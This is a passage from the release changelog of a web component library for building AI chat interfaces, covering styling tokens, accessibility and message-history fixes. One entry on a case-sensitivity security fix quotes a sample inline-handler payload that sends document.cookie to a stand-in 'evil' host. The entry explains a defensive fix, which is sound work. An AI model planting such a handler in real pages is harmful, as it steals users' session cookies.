94c44a7: The documented
@csspropdefaults now match the stylesheets (61 of 172 were stale), and the reflected state attributes the shipped CSS keys off —data-emptyon the chat,data-panel-active/data-panel-mode/data-model-gatedon the composer,data-busyon the viewport — appear in each element’s attribute table like their siblings already did.The default in a JSDoc tag is a hand copy of a value that lives in a sheet, and the two had drifted: radii off by half, paddings in pixels where the sheet reads the spacing scale, the attachment tile documented at 40px on one page and 56px on another when the theme says 72px. The generated component pages print that default, so a reader tuning a knob started from a value the sheet never had. Every default is now the stylesheet’s value character for character, and a test keeps it so (the source of truth is a
:rootdeclaration in theme.css, else a scoped declaration, else the fallback of thevar()that reads the knob). Also on the chat page, the hand-composed markup example no longer ends up inside the--aparte-chat-bottom-gaptable cell, and the sidebar’sdata-draweris documented againstbreakpointrather than a hard-coded 48rem.@aparte/core -
e4a3e86: Every button core renders is
type="button", so a chat placed inside a host<form>no longer submits it when a reader copies a code block, presses a branch arrow or clicks an action; the code block’s copy button carries anaria-label; the reasoning panel is a focusable, named region.Thirteen emitted buttons had no type (the bubble’s action bar, branch arrows and edit controls, the composer’s send and stop buttons, the code block’s copy button) and one custom action button was created without one — and a button with no type is a submit button. The copy button was also the one icon button in core named by
titlealone, which a screen reader does not read; its accessible name now follows the “copied” confirmation too. The reasoning panel is a scroll container (max-height+overflow-y: auto) and had no tab stop, so a keyboard reader on Safari could not scroll it; it isrole="region"withtabindex="0", named after its label. A source test now refuses a new untyped button.@aparte/core -
b20565d: The error segment wears the alert recipe’s parts (
aparte-alert__icon,__body,__title,__message; its details block isaparte-segment-error__details), a card’s body folds its content’s outer margins into its padding, and the overlaid composer casts a shadow (--aparte-composer-overlay-shadow).Also:
hiddennow hides any element wearing anaparte-class — a recipe’s owndisplayused to outrank the browser’s[hidden], so a hidden button stayed painted (the copy button of a tool-only turn, on the built preview).The error renderer put the recipe’s class on its root and redrew every part under classes of its own —
aparte-error-icon-wrapper,-content,-title,-message,-detailsare gone, and so are the tokens only they read (--aparte-error-icon-size, a 20px literal among derived values, and--aparte-error-title). The card body let a paragraph’s margins stack on its padding, so the sheet’s own example measured a body twice the height of its header. Underoverlay-composerthe composer floated over the transcript with a z-index and the transcript’s own ground: a thing that floats has to be seen floating.@aparte/core -
2e8f3ed: The examples the kit pages render are specimens now: the accordion shows three items, the danger alert carries its icon, the skeleton keeps the family’s own block height, the app-shell shows a populated sidebar, header and transcript, the split’s second pane is a styled document with a colour scheme, the scroll-rail and elicitation examples carry a complete composer, and every chat example is sized in rem. The tool row’s approval label reads “Waiting” (was “waiting for you”) and wears a pause glyph — the one capitalised word plus a glyph its sibling states use;
pausejoins the built-in glyphs.Measured on the built previews: 34 of the 59 kit previews render a header example or an
@exampleverbatim, so those strings are the showcase, not documentation — and they had been written as excerpts. One accordion item let:last-childremove the only rule the family draws; the--dangeralert without an__iconbeside an--infowith one zig-zagged the left column by 23px;block-size: 64pxinline contradicted the skeleton’s5remtoken;height: 320pxsheared the chat’s first turn at 375. A test now holds the three rules for every sheet and element: enough instances for the relation rules to exist, every documented part present, no hard pixel value against a token of the family.@aparte/core -
a62abf9: Field groups and the colour field get their corners back; the field family’s knobs now live on
:root.--aparte-field-radiuswas declared on.aparte-fielditself and read by.aparte-field-group(the field’s parent) and.aparte-color(a sibling recipe). A custom property only inherits downwards, so both computedborder-radius: 0— every field group in the library rendered square (the sidebar’s search, ahttps://prefix group). Measured 0px → 9px. Thirteen field knobs (paddings, radius, textarea height, checkbox/radio/switch/range sizes) move totheme.cssbeside the button’s, where the theming guide sends you and where every other family’s knobs already are. Values are unchanged; the elicitation panel’s own overrides still win inside it.@aparte/core -
28b9ead: The branch picker’s arrows are glyphs from the icon provider (so
setIconProvider({ prevBranch, nextBranch })now reaches them),menuandalertTrianglejoin the built-in glyph set,downloadandstopare redrawn on the 24-unit grid the rest of the set uses, and a menu that holds a checkable item reserves the check gutter on every item.The bubble wrote
‹and›as text — hairline characters beside 2-unit SVG strokes in the same row — while the two glyphs already existed and were registered as provider keys nothing read. The app header’s documented toggle drew☰as text becausemenulived only in the extended set behind@aparte/core/icons, and the alert recipe’s documented<aparte-icon name="alertTriangle">drew a 16px hole for the same reason; core’s documented markup is core’s drawing, so both move in (the extended set no longer exports them). Two of the 28 glyphs were on a 16-unit grid and painted their stroke 50 % heavier than their siblings. The menu’s check gutter was reserved per checkable item, so a plain item beside a checkable one started 16px further left; a panel with any checkable item now reserves it on all of them.@aparte/core -
1c5fc64: The two spinners share one stroke, in screen pixels; a determinate ring has a visible track; every pulsing dot pulses in opacity alone, above a named floor (
--aparte-pulse-floor); the context gauge’s ring is as heavy as its bar. And the shapes that have to be seen draw themselves:--aparte-trackis the ground of a gauge or a skeleton (derived relative to the page), the user bubble is tinted like every other mark, the scrim has a dark value, the scroll rail is as wide as its widest tick and its ticks rest in the control-edge colour.--aparte-spinner-strokeand--aparte-context-ring-strokeare gone (the rings read--aparte-spinner-thicknessand--aparte-progress-height).The SVG spinner stroked at 2.5 viewBox units — 1.67px in a 16px box, antialiased, 50 % off its CSS sibling — and its track sat at 15 % of the ink, so a determinate 62 % was the percentage of a circle nobody could see;
vector-effect: non-scaling-strokemakes the SVG’s weight the CSS ring’s whatever the size. The shared pulse moved in scale as well as opacity, so a row of waiting dots changed width in a loop, and its 0.3 floor left the status dot at 1.55:1 for half of every cycle. A skeleton of one line no longer renders at 60 % of its width. The values on the new tokens are first settings; the names are the fix.@aparte/core -
d79813f: The spinner, the skeleton, the indeterminate progress bar and the status dot stop under
prefers-reduced-motion: reduceinstead of flickering.The duration tokens were already reset to 0.01ms under that media query, but a 0.01ms cycle with
infiniteleft in place is not stillness: the recipe keeps repainting at a random phase every frame. The descendant sweep inresponsive.cssonly reaches elements inside aparté’s own custom elements, so a recipe used in a consumer’s own markup got neither. Each looping recipe now stops itself withanimation: none, the way the spinning icon already did. The skeleton also drops its shine (a stopped gradient sat as a pale band) and the indeterminate bar fills the track (a stopped segment sitting at one spot read as a value). A stylesheet test now asks the same of every looping animation in core.@aparte/core -
7774e65: The composer’s box now starts where the transcript’s rows start, at every width: the viewport measures its own inset (padding plus the scrollbar gutter it reserves) and publishes it on the chat host as
--aparte-transcript-inset; the composer pads by it, with the old--aparte-viewport-paddingas the fallback when no viewport sits beside it.Before, the two were independent stacks. The transcript’s rows sat inside a padding plus the gutter the scroller reserves on both edges, the composer inside a flat padding — 10px apart at 768, the gutter’s half apart at 1280 — and the container query that tightens the transcript under 520px could not reach the composer, which is a container of its own. The composer cannot know the gutter and a query cannot cross it, so the element that knows now says it. The property is written on the HOST, not on the viewport: the composer is a sibling, and a custom property only travels down.
@aparte/core -
fee67b7: One focus ring for every control: a 2px outline in
--aparte-border-focus, one spacing step OUTSIDE the box (--aparte-focus-outline-offsetisvar(--aparte-space-1), it was −2px). The soft box-shadow ring (--aparte-focus-ring), the field’s error ring token, the button’s private offset and the select’s--aparte-select-ring/--aparte-select-border-focusknobs are gone; an invalid field’s ring takes the error colour, a field group draws the ring for the field inside it, and the select’s search field is the one documented exception (its ring is inset, an outset one would be clipped by the scrolling panel).The kit drew keyboard focus two ways — seventeen recipes with a solid outline, five with a soft wash at 30 % of the accent that measured 1.39:1 against the page, an indicator that was absent rather than weak — and four of the outlines took the control’s intent colour rather than the focus colour. Inside the box, the ring sat 2px from a bordered row’s edge as a second concentric line, and the next row painted over it. The forced-colors block no longer restates outlines that now exist.
@aparte/core -
735ca53: Every control has a height from one scale — sm 24 · md 32 · lg 36 · xl 40 — and control text is the 14px step: a text button is as tall as an icon button (
min-block-size), the field rests at 36 (--aparte-field-size;--sm/--lgone step either side), a button inside a field group takes the field’s height, the select trigger is a field, and the composer’s controls are 36 at rest and the touch target under a coarse pointer (--aparte-composer-control-size, now a declared knob).Measured across the previews, 18 of 59 showed two controls side by side at different heights, and the number that kept coming back was 23px: the text button, which had no height at all, beside 24, 29, 32, 36 and 44px neighbours. The scale had three steps that only
--iconand--circleread, and a 36px family (send, the input’s action button, the scroll button) that lived off it as literals — it is the named lg step now, and the old 40px step isxl(.aparte-btn--xl;.aparte-btn--lgis 36px, which is what the scroll button already measured). Control text moves from 13px to 14px on the button and the field;--smand--lgbecome three distinct steps again. The desktop composer was a 62px bar around 15px of text because its control size defaulted to the touch target everywhere; it is 36 at rest and 44 under(pointer: coarse), which is what that block was for.@aparte/core -
212aebd: At a phone’s width the kit folds: the app shell recipe becomes one column under 48rem (the sidebar element already left the grid as a drawer, the grid kept its column anyway), the split’s minimum is
min(20rem, 100%)so a pane can never ask for more than the viewport has, and a modal dialog on a phone is a bottom sheet as tall as its content, capped at the screen and clear of the safe areas — it used to stretch a label, a field and two buttons over a 100dvh sheet glued to the physical edges.Measured on the 375px captures: the shell gave 259 of its 303px to the sidebar and left the chat a 43px band with the send button cut in half; a 20rem floor on a 375px screen annihilated the end pane to 0px; 586px of empty sheet under a three-control form.
@aparte/core -
28b9ead: The spinner, the menu, the popover, the tooltip and
<aparte-chat>arebox-sizing: border-box, so their tokens and an author’sheightare the box they paint; a tooltip is as wide as its label.Core ships no global reset on purpose, and these recipes set a size and a padding or border in the same rule, so they painted larger than their token under the browser’s default: the spinner 16/20/28 for tokens of 12/16/24, the popover 342px for a cap of 320,
<aparte-chat style="height: 320px">336px with a split’s seam hanging 16px below both panels — and the token’s value only on a host page with a border-box reset of its own. The tooltip declared amax-widthand no width, so as a positioned chip it shrank to its widest word: “Copy to clipboard” broke into two lines at every width. It iswidth: max-contentnow, with the same cap.@aparte/core -
c9529d2: A tool call’s state sits beside the tool’s name, the reasoning block’s chevron sits beside its label, the context gauge’s bar has a measure (16rem), and the starter suggestions take the composer’s column.
An unbounded
margin-inline-start: autopushed the two ends of one line 554 to 1180px apart on a wide host: the state 596px from the tool name, “Reasoning” 692px from its chevron, a 1046×4px gauge, chips 188px off the composer once the host passed its cap. What belongs to a label sits beside it; what belongs to a column takes its measure. The accordion recipe keeps its chevron at the end — that is what an accordion is.@aparte/core -
d78b150:
<aparte-select>now honoursplaceholderanddisabledwritten after mount, its presence setters (and<aparte-option>’s,<aparte-optgroup>’s) accept the empty string as ON, the unreadgroupedattribute is gone, and a loading group saysloadingfrom the locale instead of “Fetching models…”.Both attributes were observed and neither had a branch in the change callback, so a placeholder rewritten by a locale switch left the visible label and the combobox’s
aria-labelin the old language, and a select disabled after mount kept a trigger in the tab order, announced as operable. The trigger now takesaria-disabled="true"andtabindex="-1"while disabled (an open dropdown closes), and the label and botharia-labels follow the placeholder. Five setters (open,selected,disabled,collapsed,loading) still read''as false, so a Svelte 5 template that set them removed the attribute; they use the same spelling as the split and the sidebar now, and one test enumerates all nine presence setters in core.groupedwas observed and read by nothing (groups render from<aparte-optgroup>children alone); it leaves the attribute list and the docs. New locale key:loading(default “Loading…”).@aparte/core -
9337dd2: Five rendering bugs found by looking at every preview: the reasoning block’s chevron turns again when it opens; an
<aparte-icon>inside.aparte-btntakes the button’s icon size; code blocks are set in the code typeface at a code size; the message row’s padding follows the narrow container again; and a turn with nothing to copy shows no copy button. Attachment tiles now use the thumbnail recipe’s part names —aparte-thumbnail__imageandaparte-thumbnail__labelreplaceaparte-thumb__imgandaparte-thumb__ext— and the composite--aparte-message-paddingtoken is gone (read--aparte-message-padding-blockand--aparte-message-padding-inline).Each was a form defect, not a palette one. The thinking renderer put its glyph straight into the
<summary>, so the accordion recipe’s rotation rule matched nothing — and the recipe’s own documented markup, a bare<aparte-icon>in the header, matched nothing either; both forms are sized and turn now.button.csssized.aparte-btn > svg, and<aparte-icon>renders its svg one level deeper, so the documented markup kept a 14px glyph in a button that asked for 16; the recipe now feeds--aparte-icon-size, the icon’s own knob, which also sizes the accordion chevron. The code block’s<pre>declared nofont-family,font-sizeorline-heightand fell into the browser’s generic monospace at the prose’s size — two theme tokens,--aparte-code-block-font-sizeand--aparte-code-block-line-height, now carry them.--aparte-message-paddingjoined its two parts on:root, where a custom property is substituted, so the container query that reassigned the parts on.aparte-messagenever reached the row; a test now refuses any composite token whose parts are redeclared elsewhere. The copy action was offered unconditionally and copied''on a tool-only turn. The tile parts were drawn twice under two vocabularies, the documented one emitted by nothing; one survives.--aparte-thinking-toggle-size, unread since the chevron became a glyph, is removed.@aparte/core -
7826e07: The sidebar’s four regions (header, search, body, footer) indent by one new token,
--aparte-sidebar-inset(12px); the selected conversation’s mark follows the row’s radius; and the tool row’s chevron, its part labels and icon, the code header’s language label and the branch picker’s disabled arrows are coloured with the muted ink instead of faded by anopacity.Measured on the built previews: the sidebar’s header and footer padded 16 while its search and body padded 12, so a 260px column showed its content on two vertical axes and the app-shell demo four left edges; the 2px selection bar stood square in a 9px-rounded corner with a sliver of the page’s ground between the two; the tool row’s disclosure chevron at
opacity: .5sat at 3.00:1, exactly on the WCAG floor, and it is the control that reveals adelete_file’s arguments; the code language label was already muted and then multiplied by .7; the disabled branch arrow read at 1.74:1 — as absent, not as disabled. Quiet is a colour: opacity on a container fades the glyph with its ground and cannot be reasoned about against any background. The mark is now painted as the first pixels of a row-sized pseudo that inherits the radius — notoverflow: hiddenon the row, which would clip the title button’s focus ring.@aparte/core -
100d089: A
[data-aparte-sidebar-toggle]control now carriesaria-expandedandaria-controls, kept in step by the sidebar whoever changes the state, and the open drawer keeps Tab inside it.The toggle opened and closed the sidebar without announcing its state, while the conversation row’s own
⋯button already did; the sidebar gives itself an id when the host wrote none, so the control can point at it. Tab from the drawer’s last control used to walk out under the scrim onto the transcript it was covering; it wraps to the first control now, and Shift+Tab the other way. Nofocusinguard was added on purpose: it would steal the focus back from a dialog the drawer’s own content opens onto<body>.@aparte/core -
fee67b7: A skeleton text line holds the place of the line it stands for: its height is the content’s font size and its gap the rest of the content line (
--aparte-skeleton-text-height,--aparte-skeleton-text-gapare derived from--aparte-content-font-sizeand--aparte-content-line-height).The bar was 12px on an 18px step while a line of content is 16px on a 27px step, so the text that replaced it jumped by a third of a line per line. A placeholder that does not hold the place it promises is not a placeholder.
@aparte/core -
dc4a7b7: The bubble’s action bar, its branch arrows and the conversation row’s
⋯are all the button recipe’s small step (24px); the select trigger declares its own font size and reads the theme’s--aparte-radius-select.Three controls redrew their own box over the recipe: the arrows set width and height to a 20px token while the element also carried
--sm(24), the⋯did the same at 20, and the action bar fed 28 with a 24 exception for the last user turn — three control heights in one row. They feed the recipe’s token or wear its modifier now, and under(pointer: coarse)the⋯takes the touch-target size like the other four.--aparte-branch-picker-btn-sizeand--aparte-branch-picker-btn-icon-sizeare gone;--aparte-action-bar-btn-sizeand--aparte-conv-action-btn-sizedefault tovar(--aparte-btn-size-sm). The select’s trigger declared nofont-sizeat all and took the host page’s, so every integrator saw a different select; it reads the control step. Its radius existed twice under two names with two values — the private--aparte-select-radiusis gone, the theme’s--aparte-radius-selectstays.@aparte/core -
fee67b7: The split’s seam is a 1px line (
--aparte-split-seam-width, the kit’s border width) painted inside a 12px track (--aparte-split-handle-size, it was the 4px painted seam), with a grip under the pointer and while dragging.One token sized both the grid track and the painted line, so the seam could not be thinned without moving the layout; at 4px it was four times the kit’s rule and had nothing to take hold of — an interaction drawn as a decoration. The panes give up 8px between them; the grab zone is what it was on a fine pointer and the touch target on a coarse one.
@aparte/core -
1f89afc: The segmented tab track is as wide as its chips (not its container), its selected chip is raised on both grounds, the tab panel shares the tab’s inline inset; the elicitation’s recommended option keeps its ground while focused, and the options sit far enough apart for the focus ring to show whole.
.aparte-tabs--segmentedwas a block-level flex row and painted 1207px of track for 160px of chips at 1280; it isinline-flex. Its selected chip was an absolute surface level — raised in light, sunken in dark — and now carries a 1px ring in the border colour. The panel had no inline padding, so its text hung 11px left of the tab above it. In the elicitation panel the recommended option, the one that takes focus on mount, was the only row with no ground: the rule that cleared its tinted border under focus cleared its background too. And the options sat 2px apart, narrower than the focus ring’s outset, so the next row painted over the ring’s bottom edge; the gap is 6px.@aparte/core -
dc4a7b7:
data-side="top | bottom | start | end"places a tooltip against its trigger — wrap the trigger in.aparte-tooltip-anchor— and turns the arrow to match;--aparte-tooltip-gapis the distance. No inline positioning needed any more.The recipe drew the box and the arrow and left the placement to two inline styles in its own example. A demo that needs inline styles to work is a recipe with a parameter it forgot. Flipping a tooltip that would leave the viewport stays out: that needs script, and it is a positioning library’s job. Without
data-sidenothing is positioned, as before.@aparte/core -
54ab107: The type ramp rises in the order of its names:
--aparte-font-size-lgis 1.0625rem (above the body’sbase, it was 0.875rem — below it), and--aparte-font-size-xl(1.25rem) and--aparte-font-size-2xl(1.5rem) exist. Every reader of the oldlgmoved to the step it meant: the text a person types is the body size, a sender name sits one step under the prose, a card title is above its body, an elicitation question is larger than its options, a dialog title takes the newlg, the large field and the large buttons speak at the body size.Measured: a welcome title and a placeholder at the same size, a card’s title smaller than its body, a full-screen dialog’s title at 14px, and the typed text the smallest in the chat. A scale whose name lies is worse than a short one. The artifact card’s labels that read
lgfor “a notch above the control text” now readbaseormd, so they keep their size.@aparte/core,@aparte/plugin-artifacts -
7e5910a:
<aparte-model-selector disabled>disables the picker, and inside an<aparte-composer>the picker follows the composer’s owndisabled— it used to stay fully operable while the field and the send button around it were inert.@aparte/plugin-model-selector -
d78b150: Stops writing the
groupedattribute on its<aparte-select>: the select never read it, groups render from the<aparte-optgroup>children alone.@aparte/plugin-model-selector -
2e8f3ed:
approvalWaitingreads « En attente » (was « en attente de vous »): one capitalised word, the shape every other tool state uses in the row.@aparte/locale-fr -
d78b150: Adds
loading(“Chargement…”), the text an option group shows while its options are fetched.@aparte/locale-fr
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/docs-mcp.
0.16.9
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
2b1d809: A composer inside a chat host that has an
idnow stamps that id onaparte-send; on a page with two raw-core chats the reply no longer lands in the wrong one.submit()read the baretargetattribute. All four wrappers set it, so nothing changes there — but the documented quick start writes its markup by hand and nothing setstarget, so every send from raw core carriedtargetId: undefinedand the host delivered the answer to whichever chat it resolved first.The composer’s other outbound path,
cancel(), already resolved through_ownTargetId()— the attribute if a wrapper set one, else the id of the<aparte-chat>/[data-aparte-chat]host above.submit()now resolves the same way, which is the invariantcancel()’s own docblock states: both sides answer the question “which chat am I” identically.@aparte/core -
df0d60e: The ✕ that removes a pending attachment is 24px on touch, not 18px.
It is the only way to drop a file attached by mistake, and 18px is under the 24 of WCAG 2.2 SC 2.5.8. The coarse-pointer block already made the button visible there — a finger cannot hover — but left it at the size a mouse gets.
24 is not a new number: it is the box
aparte-btn--smalready draws (--aparte-btn-size-sm: 24px), so the component simply stops out-specifying the recipe on touch. Not the 44px--aparte-touch-target-sizeits neighbours take: the composer’s pending tile is 56px (--aparte-attachment-image-size, set onaparte-composer-attachments), so a 24px ✕ is already 43% of its edge and a 44px one would cover most of the picture — matching the neighbours properly means growing the tile too, a separate decision.@aparte/core -
60e33eb: The composer’s editor is exactly the control height at rest: its block padding derives from the control size and its own line (
--aparte-input-padding-y: calc((var(--aparte-composer-control-size) - 1lh) / 2)), so the send and attachment buttons share the editor’s centre on one line and follow its last line when the text wraps.Measured on the built preview at 768: 36px buttons beside a 44px editor (10px of padding, a 24.3px line, 10px of padding) in a row aligned at the end, so the send button sat 4px below the editor’s centre. A consumer who had set
--aparte-input-padding-ykeeps what they set; the default alone moves.@aparte/core -
7fbd763: Cancelling or saving an inline message edit returns the focus to the bubble’s action bar instead of dropping it to the top of the page.
Both exits destroy the element that holds the focus: the editor node is removed, and the action bar is rebuilt with
innerHTML, so the ✓ / ✗ buttons go with it. Focus fell to<body>, and the next Tab restarted at the top of the document — a reader who edited the fourth message of a long transcript had to walk all the way back down to it.The bubble now remembers the
data-actionof the button the editor was opened from and focuses that action again on the way out. The string, not the node: the bar’s markup is rewritten twice between the two moments, so the node identity cannot survive. When the focus was outside the bubble when the editor opened, nothing is remembered and nothing is pulled back — that would be theft, not a restore.@aparte/core -
79a55a3: Reaching the elicitation panel’s “Other…” radio with the arrow keys now reveals the text field without moving the focus into it; a click or Space still focuses it.
Arrow keys select as they move inside a radiogroup, so the
changethey fire is not consent. Focusing on it carried a keyboard reader out of the group with no activation at all — WCAG SC 3.2.2 and its F36 failure, the same rule this panel already follows when it makes one choice one button.@aparte/core -
204343f: Lifecycle events (
aparte-message-start/-done/-error/-aborted, and the tool-approval request) now carry the chat’s id when the render target is a shell’s viewport, so a second chat on the page no longer answers to the first one’s turn.The stamp read
target.id, and the target is whatever RENDERS: an<aparte-chat>shell delegates rendering to its.viewport, which has no id of its own. So on every shell-shaped chat the events went out withtargetId: undefined— and the receive side reads a missing id as “for me”, deliberately, so a single-chat page needs no wiring.On a two-chat page that made one chat’s turn drive every composer: chat B finishing re-enabled chat A’s send button mid-stream and evicted A’s open elicitation panel, so the question vanished under the user’s cursor while A’s tool call kept waiting. The client now resolves the id by climbing to the chat host — the same rule
aparte-composeruses to identify itself, so the two halves of the channel cannot disagree — andtarget.idremains the fallback, which is correct for the viewport-only chat shape.@aparte/core -
4cfda77: Uppercase and mixed-case
on*props (ONCLICK) are now dropped like lowercase ones; they previously became live inline handlers.applyElementProps— what the React and Angular wrappers use to spread a consumer’s prop bag onto an aparté element — refusedonclickbut tested the key withkey.startsWith('on'), which only ever matched the lowercase spelling. An attribute name is case-insensitive, so{ ONCLICK: 'fetch("//evil/?" + document.cookie)' }fell through tosetAttributeand wrote exactly theonclickthe branch existed to refuse.The check is now
key.toLowerCase().startsWith('on'), the idiom core’s sanitizer already uses. The lowercasing is scoped to that one branch: a CSS custom property IS case-sensitive, so the--branch keeps the key it was given.@aparte/core -
8a77487: The sidebar drawer keeps the keyboard when its search filter hides rows: Tab wraps from the last visible control instead of walking out onto the page under the scrim.
The trap listed its stops with
querySelectorAlland treated the DOM-last one as the end of the drawer. The drawer’s own search field hides non-matching rows withhidden, and a hidden row’s buttons hold no tab stop — so after typing one letter the “last” stop was unreachable, the wrap never fired, and Tab from the last control a reader could actually see left the drawer for the transcript underneath. Opening the drawer had the same blind spot: it focused the DOM-first control even when that one was hidden.Both now count only what a reader can reach (
[hidden]ancestors excluded, pluscheckVisibility()where the browser offers it, which also catches adisplay: nonefrom a host stylesheet).@aparte/core -
7fbd763: Leaving a bubble’s inline editor now lands on a button the reader can actually use, and moves the action bar’s tab stop with it.
The restore added in the previous patch focused the button that opened the editor, but stopped there, and two cases in its own subject — the reader must not lose their place — still lost it.
The bar is a
role="toolbar": one tab stop that the arrows move. Rebuilding it parks that stop on the first button (copy), so focusing edit put the reader on atabindex="-1"member — Shift+Tab out and Tab back returned them to copy, not to the button they were on. The restore now sets the stop before focusing, the same two lines the arrow-key handler already uses.And the remembered action can come back disabled — the reader sent from the composer mid-edit, so the transcript is busy and edit is rebuilt disabled — or gone, if the action was turned off while the editor was open.
focus()on a disabled button is a no-op, so the focus fell to<body>: the exact bug, silently. The restore now falls back to the bar’s first enabled button.@aparte/core -
204343f: Retry and edit no longer put empty assistant turns on the wire: a failed turn, or one stopped before its first token, is dropped the same way send drops it.
Send, retry and edit all answer the same question — what did this conversation say so far? — and they answered it with two different pieces of code. Send filtered out errored turns and anything whose wire text came out empty; retry and edit kept every user and assistant row whatever its status, so a failed turn reached the model as
{ role: 'assistant', content: '' }. Some providers reject that outright; the rest read it as an empty reply worth imitating.The slice stays each caller’s own business — retry cuts before the reply it regenerates, edit after the message being reworded, send at the last answered turn. What a message contributes to the wire is now one rule the three of them share.
@aparte/core -
191aa24: The
<aparte-chat-status>caveat names the tokens the sheet actually reassigns (--aparte-message-padding-block/-inline); the theming guide and the landing page stop offering two variables 0.16.8 removed.--aparte-message-paddingwas split into-block/-inlineand--aparte-avatar-radiusbecame--aparte-avatar-radius-ratio(a fraction of--aparte-avatar-size, not a length — the guide now says so, because swapping the name and passing6pxis the natural next mistake). Both kept being offered: in the theming guide’s grouped token list, in the status element’s own JSDoc — which the generated component page reprints — and, for the avatar one, in the landing page’s three-line “one instance, three variables” snippet, the page whose whole job is to make the theming promise credible.A name that does not exist fails in silence: the declaration is invalid at computed-value time, the property inherits, and the page looks almost right. That is the exact failure the same guide has a section warning about, so the pages taught the mistake they teach you to avoid.
check:derived-varsnow reads variable names out of that prose — the two pages plus every JSDoc block in core’s and the plugins’ source — and refuses one the library cannot answer to; a family prefix (--aparte-code-*) and a line markedundeclared-on-purposeare the two exceptions, the second for the guide’s own worked example of a name core does not declare.@aparte/core -
2b1d809: Closing or evicting a composer panel no longer steals the focus: the caret stays where the reader put it unless focus was inside the composer.
_teardownPanel()ended on an unconditionalthis.focus(), which forwards to the composer’s editor. So every close moved the caret there — including the one nobody asks for: a turn ending evicts any open panel, and a turn ends because the model finished. A reader who had moved to another chat’s field, a search box, or a link was pulled back mid-keystroke.It now asks first, and asks BEFORE removing the panel: removing the focused element drops focus to
<body>, after which the question has no answer. That is the reasoning<aparte-elicitation>’s own restoration already records — and its guard was being defeated by this one, since the teardown ran first and put the focus back inside the composer, which made “was the reader still in the panel?” answer yes.@aparte/core -
04b9dd0: The scroll rail’s first and last tick are full 24px targets: the rail pads its block axis so its own clipping no longer cuts them in half.
--aparte-scroll-rail-hit-sizegrows the pressable zone symmetrically around the drawn line — half ofhit − thicknessabove it and half below.aparte-scroll-railclips (overflow: hidden, which cuts at the padding box) and had no padding, and.aparte-scroll-rail__listhas none either, so the first tick’s top edge sat exactly on the clip line: its upper 11px were cut, and the last tick’s lower 11px with it, for paint and for hit-testing alike. Two 13px targets, under WCAG 2.5.8’s 24px — and they are the two a reader aims at most, “jump to the first message” and “jump to the latest”.The fix is the room, not a smaller zone:
padding-block: calc((hit − thickness) / 2)puts the clip line outside every zone instead of through the two end ones. The inline axis already had this reasoning — it is why a zone grows inward only and why--aparte-scroll-rail-widthcarries the hit size as a floor — and it simply had not been carried to the block axis.What moves if you had measured the rail: it is
box-sizing: border-boxnow, somax-heightstill means the same outer box, and the ticks get 22px less room inside it — a very long transcript clips one tick sooner. The drawn line, the pitch and every token are unchanged.@aparte/core -
04b9dd0: The scroll rail is positioned inside the chat under the Angular wrapper too, and no longer gets pulled back into the flow in overlay mode.
<aparte-scroll-rail>isposition: absolute, so it lands in the nearest positioned ancestor. The recipe hands the shell that containing block with:has(), and it listed two of the three shell shapes core’s own layout already knows: the vanilla<aparte-chat>and the[data-aparte-chat]div React/Vue/Svelte render. Angular’s host IS<aparte-chat>but its shell is the inner.aparte-chat-container, and that div carries no attribute — so a rail inside an Angular chat escaped to whatever ancestor happened to be positioned, in the ordinary case the page..aparte-chat-container:has(> aparte-scroll-rail)closes it; the other two wrappers’ root already carries both the class and the attribute, so nothing moves for them.The second half is the same rail, in overlay mode. The bottom-stack rule said
> :not(aparte-chat-viewport)on the premise that the only child which is not the viewport IS the stack — true when it was written, and the rail made it false: it matched, tookposition: relative, and the one child that floats by design dropped into the flow above the composer. The:not()now names both.@aparte/core -
04b9dd0: Scroll-rail ticks are 24px click targets on a 24px pitch.
--aparte-scroll-rail-hit-sizeis the new knob and--aparte-scroll-rail-gapnow derives from it, so fewer ticks fit in the rail before it clips.A tick is a
<button>that jumps the transcript, and it was drawn as the line it stands for: the pressable zone measured 22×10 CSS px on a 10px pitch, under WCAG 2.5.8’s 24×24 minimum with no spacing exemption to fall back on (the exemption is measured on a 24px circle per target, and at a 10px pitch the neighbours’ circles overlap). The rail hides entirely under(pointer: coarse), so the bar is 2.5.8’s 24px rather than 2.5.5’s 44px.Growing only the pseudo-element would have satisfied the letter of the rule and made mis-hits worse — two 24px zones on a 10px pitch overlap by 14px, and the z-order then decides every press — so the pitch rises with the zone:
--aparte-scroll-rail-gapishit − thickness, which makes gap + thickness exactly the pitch and the zones tile edge to edge.What to change if you had tuned these: set
--aparte-scroll-rail-hit-sizerather than--aparte-scroll-rail-gap, since the gap now follows it.--aparte-scroll-rail-widthtakes the hit size as a floor (max(…)) because the rail clips: a narrower column cut the zone back on the very edge a reader aims at. The drawn line is unchanged at 14×2.@aparte/core -
ce72d8e: A searchable
<aparte-select>again announces which option is selected: its trigger’s accessible name is now"<control>: <selected label>"(e.g. “Pick a model: GPT-4o mini”) instead of the control’s name alone.searchablemakes the trigger arole="button", and a button takes its name from its content — which an authoraria-labeloverrides. The name written for the combobox shape (where the visible label span was the VALUE and the attribute only the NAME) therefore swallowed the selection: readers heard “Pick a model, button” and never the model. The name now carries both halves, follows every selection change, and drops the second half when it would only repeat the first. The listbox keeps the control’s name, and a non-searchable select is unchanged.@aparte/core -
204343f:
history: 'viewport'now sends assistant turns a host seeded without astatus; the whole transcript used to be dropped and the model got only the new question.statusis optional onAparteMessage, and a host that seeds a transcript — restoring a saved conversation, hydrating a server-rendered one — has no reason to invent one for turns that are already over._toHistoryMessagesgated onstatus === 'completed', so with none the cutoff never advanced past the first message and every seeded turn was sliced away. Nothing in the UI showed it: the viewport still rendered the whole conversation, and only the next request was missing it.Both gates now ask “is this still in flight?” instead: a
streamingorpendingturn is held back, anerrorturn is still dropped and still does not advance the cutoff, and everything else — status or no status — is history.@aparte/core -
ce72d8e: A searchable
<aparte-select>now putsrole="combobox",aria-expanded,aria-controlsand the rovingaria-activedescendanton the filter field instead of the trigger, so the arrow-key highlight is announced. The trigger becomes arole="button"when (and only when) the field exists; withoutsearchablenothing changes.Opening a searchable select focuses the filter field, and a screen reader follows focus — so the combobox state has to live there. It lived on the trigger: the highlight moved with every ArrowDown and was announced to nobody, and the control declared two comboboxes for one value.
aria-expandednow follows the open state on both elements.@aparte/core -
ce72d8e: A disabled
